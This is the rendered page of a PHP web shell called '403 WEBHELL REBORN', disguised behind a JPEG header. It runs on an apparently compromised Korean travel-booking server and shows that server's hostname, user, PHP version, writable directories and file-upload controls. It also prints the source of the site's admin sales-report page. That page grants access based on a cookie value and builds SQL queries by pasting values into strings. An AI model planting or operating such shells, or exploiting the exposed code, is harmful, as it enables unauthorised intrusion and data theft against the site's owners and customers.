ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/agent_info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/agent_info/report_reserve.html
<?
include "../../Lib/config.php";

if( ($_COOKIE['MemberLevel'] == $cf['agent_level'] || $_COOKIE['MemberLevel'] == $cf['trade_level']) ) {
	include "../include/top_agent.html";
} else {
	include "../include/top.html";
	$b2b_not_mode = true; //대리점 또는 공급처 외
}

if($agent_mode) exit; // 거래처 미사용

/////////////////////////////////////////////////////////

//테이블명
$table = "TB_RES_GOOD";

// 검색 설정
$sql_where = "";
$sql_where .= " and producer_id='{$TK_MEMBER['mb_id']}'"; //공급처
$sql_where .= " and order_state in('B', 'C', 'D', 'E', 'F')";

//배열에 저장
$data = array();

$sql = "select * 
		 from {$table} as res
		 where 1 {$sql_where} ";

$rs = db_query($sql);

$total_count = $total_price = 0;

// 국적별 통계 (연간)
$nat_inwon = array(
	"한국인"		=> 0,
	"홍콩/대만"	=> 0,
	"중국인"		=> 0,
	"미주/유럽"	=> 0
);

for($i=0 ; $row = db_fetch_array($rs) ; $i++) {

	// 매출액 price / 인원 inwon / 건 count

	// 여행인원
	$sql = "SELECT 
				COUNT(seq) AS inwon  
			  FROM TB_RES_GOOD_PERSON  
			 WHERE res_no='".$row['res_no']."' ";
	$person_data 			= db_fetch($sql);
	$row['inwon'] 			= $person_data['inwon'];

	// 공급가 합계
	$total_price += $row['buy_total'];

	// 총 인원
	$total_inwon += $row['inwon'];

	// 연별 합계
	$y = substr($row['ev_start'], 0, 4); // YYYY
	$year_inwon[$y] += $row['inwon'];
	$year_count[$y] += 1;
	$year_price[$y] += $row['buy_total'];;

	// 월별 합계
	$ym = substr($row['ev_start'], 0, 7); // YYYY-mm
	$month_inwon[$ym] += $row['inwon'];
	$month_count[$ym] += 1;

	if($y == date('Y')){
		switch($row['res_cust_nat_cd']){
			case '한국' :
			case 'TB' :
			case 'KOR' :
				$nat_inwon['한국인'] += $row['inwon'];
				break;
			case '홍콩' :
			case '대만' :
				$nat_inwon['홍콩/대만'] += $row['inwon'];
				break;
			case '중국' :
				$nat_inwon['중국인'] += $row['inwon'];
				break;
			case '외국인' :
				$nat_inwon['미주/유럽'] += $row['inwon'];
				break;
			case '' :
				$nat_inwon['한국인'] += $row['inwon'];
				break;
		}
	}
}


// 이달의 예약인원
$this_month_inwon = $month_inwon[date('Y-m')];

// 매출성장가능성 (연간 2배씩 상승)
for($i = 0; $i < 4; $i++){
	$year_title[] = date('Y') + $i;
	$year_value[] = $year_price[date('Y')] * pow(2, $i);
}
$year_title_str = "\"" . implode("\",\"", $year_title) . "\"";
$year_value_str = implode(",", $year_value);

// 연간 국적별 예약분석 그래프 데이터
foreach($nat_inwon as $k => $v){
	// "한국인", "홍콩, 대만", "중국인", "미주,유럽"
	$nat_title[] = $k;
	$nat_value[] = $v;
}
$nat_title_str = "\"" . implode("\",\"", $nat_title) . "\"";
$nat_value_str = implode(",", $nat_value);


// 월별예약현황
for($i = 0; $i < 12; $i++){
	$target_m = date('Y-m', strtotime("-" . (11-$i) . " month"));
	$month_title[] = $target_m;
	$month_value[] = $month_inwon[$target_m];
	$month_color[] = "#5AC8DB";
}
// 가장 큰 값 강조
$month_max_value = max($month_value);
$month_max_key = array_search($month_max_value, $month_value);
$month_color[$month_max_key] = "#FF8152";

$month_title_str = "\"" . implode("\",\"", $month_title) . "\"";
$month_value_str = implode(",", $month_value);
$month_color_str = "\"" . implode("\",\"", $month_color) . "\"";
?>
<style>
	.rep_block {
		position:relative; display:block; float:left;
		background-color:#FFF;
		border-radius:10px;
		margin-bottom:10px;
		padding:10px 50px;
		box-sizing: border-box;
	}

	.rep_block li {
		position:relative; display:block; float:left; margin:40px;
		width:260px; height:260px;
		box-sizing: border-box;
	}

	.rep_circle {
		display:block;
		border-radius:130px;
		padding-top:90px;
		text-align:center;
		font-size:35px;
		line-height:30px;
		font-weight:900;
		color:#5AC8DB;
	}

	.cir_title {
		display:block; margin-bottom:15px; font-size:24px;
		color:#333;
	}
</style>

<script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="https://cdn.jsdelivr.net/npm/chartjs-plugin-datalabels@2.0.0"></script>

<div class="contents_wrap" >
	<div class="contents_wrap_in" style="background-color:#EEEEEE;">
		<div class="title">
			<strong><?=_e('예약현황');?></strong>
		</div>

		<div class="contents_detail">
			<div id="Content_box" style="margin-top:10px;">
				<div style="display:block; width:100%;">
					<div class="rep_block" style="width:100%;">
						<li class="rep_circle box_shadow" style="font-size:30px;">
							<span class="cir_title">총 매출액</span>
							<?=number_format($total_price)?>원
						</li>
						<li class="rep_circle box_shadow">
							<span class="cir_title">총 예약인원</span>
							<?=number_format($total_inwon)?>명
						</li>
						<li class="rep_circle box_shadow">
							<span class="cir_title">이달의 예약인원</span>
							<?=number_format($this_month_inwon)?>명
						</li>
						<li style="width:400px;">
							<canvas id="myChart1" width="400" height="400"></canvas>
						</li>
					</div>
					<div class="rep_block" style="width:50%; margin-right:5px;">
						<canvas id="myChart2" width="800" height="350"></canvas>
					</div>
					<div class="rep_block" style="width:calc(50% - 10px); margin-left:5px;">
						<canvas id="myChart3" width="800" height="350"></canvas>
					</div>
				</div>
				
			</div>
		</div>
	</div>
</div>
<script type="text/javascript">
var ctx = document.getElementById("myChart1").getContext('2d');
var myChart = new Chart(ctx, {
	type: 'bar',
	data: {
		labels: [<?=$year_title_str?>],
		datasets: [{
			barThickness: 25,
			label: '매출성장가능성 (결제금액 기준)',
			data: [<?=$year_value_str?>],
			backgroundColor: [
				'#5AC8DB'
			]
		}]
	},
	options: {
		maintainAspectRatio: false,
		scales: {
			x: {
				grid:{
					display:false
				}
			},
			y: {

			}
		},
		plugins: {
			legend: {
				labels: {
					font: {size: 14},
					padding : 20,
					boxWidth : 15
				}
			}
		}
	}
});

var ctx2 = document.getElementById("myChart2").getContext('2d');
var myChart = new Chart(ctx2, {
	type: 'bar',
	data: {
		labels: [<?=$nat_title_str?>],
		datasets: [{
			barThickness: 25,
			label: '연간 국적별 예약분석 (명)',
			data: [<?=$nat_value_str?>],
			backgroundColor: [
				'#5AC8DB'
			]
		}]
	},
	plugins: [ChartDataLabels],
	options: {
		maintainAspectRatio: false,
		indexAxis: 'y',
		scales: {
			x: {
				
			},
			y: {
				grid:{
					display:false
				}
			}
		},
		plugins: {
			legend: {
				labels: {
					font: {size: 14},
					padding : 20,
					boxWidth : 15
				}
			},
			datalabels: {
				color: '#FFF',
				anchor: 'end',
				align: 'start',
				offset: 10,
				formatter: function(value, context) {
					return number_format(value);
				},
				display: function(context) {
					var value = context.dataset.data[context.dataIndex];
					return value > 100 ? 1:0;
				}
			}
		}
	}
});

var ctx3 = document.getElementById("myChart3").getContext('2d');
var myChart = new Chart(ctx3, {
	type: 'bar',
	data: {
		labels: [<?=$month_title_str?>],
		datasets: [{
			barThickness: 25,
			label: '월별 예약 현황 (명)',
			data: [<?=$month_value_str?>],
			backgroundColor: [<?=$month_color_str?>]
		}]
	},
	plugins: [ChartDataLabels],
	options: {
		maintainAspectRatio: false,
		scales: {
			x: {
				grid:{
					display:false
				}
			},
			y: {

			}
		},
		plugins: {
			legend: {
				labels: {
					font: {size: 14},
					padding : 20,
					boxWidth : 15
				}
			},
			datalabels: {
				color: '#FFF',
				font : {
					size : 9
				},
				anchor: 'end',
				align: 'start',
				offset: 10,
				formatter: function(value, context) {
					return number_format(value);
				},
				display: function(context) {
					console.log(Chart.scales);
					var value = context.dataset.data[context.dataIndex];
					return value > 10 ? 1:0;
				}
			}
		}
	}
});

</script>
<? include "../include/footer.html" ?>



Anon7 - 2021